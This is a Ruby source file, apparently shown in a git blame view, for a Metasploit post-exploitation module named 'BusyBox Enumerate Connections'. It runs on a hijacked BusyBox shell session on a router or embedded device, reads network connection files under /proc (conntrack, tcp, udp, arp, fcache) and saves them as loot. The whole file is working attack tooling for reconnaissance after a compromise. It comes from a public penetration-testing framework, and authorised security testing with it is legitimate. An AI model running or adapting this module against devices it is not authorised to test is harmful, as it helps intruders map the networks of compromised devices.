2015-08-10 16:29:41 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::File
|
2015-08-28 16:50:17 +00:00
|
|
|
include Msf::Post::Linux::BusyBox
|
2015-08-10 16:29:41 +00:00
|
|
|
|
2015-08-28 14:28:12 +00:00
|
|
|
FILES = [
|
|
|
|
'/proc/net/nf_conntrack',
|
|
|
|
'/proc/net/ip_conntrack',
|
|
|
|
'/proc/net/tcp',
|
|
|
|
'/proc/net/udp',
|
|
|
|
'/proc/net/arp',
|
|
|
|
'/proc/fcache/*'
|
|
|
|
]
|
|
|
|
|
2015-08-10 16:29:41 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'BusyBox Enumerate Connections',
|
2015-08-28 14:28:12 +00:00
|
|
|
'Description' => %q{
|
2015-08-28 14:37:18 +00:00
|
|
|
This module will be applied on a session connected to a BusyBox shell. It will
|
2015-08-28 14:28:12 +00:00
|
|
|
enumerate the connections established with the router or device executing BusyBox.
|
|
|
|
},
|
2015-08-10 16:29:41 +00:00
|
|
|
'Author' => 'Javier Vicente Vallejo',
|
|
|
|
'License' => MSF_LICENSE,
|
2015-08-28 14:28:12 +00:00
|
|
|
'Platform' => ['linux'],
|
|
|
|
'SessionTypes' => ['shell']
|
2015-08-10 16:29:41 +00:00
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
found = false
|
2015-08-28 14:28:12 +00:00
|
|
|
print_status('Searching for files that store information about network connections')
|
|
|
|
FILES.each do |f|
|
2015-08-28 16:56:12 +00:00
|
|
|
if busy_box_file_exist?(f)
|
2015-08-10 16:29:41 +00:00
|
|
|
found = true
|
2015-09-06 03:56:11 +00:00
|
|
|
print_good("Connections file found: #{f}.")
|
2015-08-28 14:28:12 +00:00
|
|
|
read_connection_file(f)
|
2015-08-10 16:29:41 +00:00
|
|
|
end
|
|
|
|
end
|
2015-08-28 14:28:12 +00:00
|
|
|
|
|
|
|
print_error('Any file with connections found') unless found
|
|
|
|
end
|
|
|
|
|
|
|
|
def read_connection_file(file)
|
|
|
|
begin
|
|
|
|
str_file=read_file(file)
|
|
|
|
vprint_line(str_file)
|
|
|
|
p = store_loot('busybox.enum.connections', 'text/plain', session, str_file, file, 'BusyBox Device Network Established Connections')
|
2015-08-28 16:51:26 +00:00
|
|
|
print_good("Connections saved to #{p}")
|
2015-08-28 14:28:12 +00:00
|
|
|
rescue EOFError
|
2015-08-28 16:51:26 +00:00
|
|
|
print_error("Nothing read from file #{file}, file may be empty")
|
2015-08-10 16:29:41 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|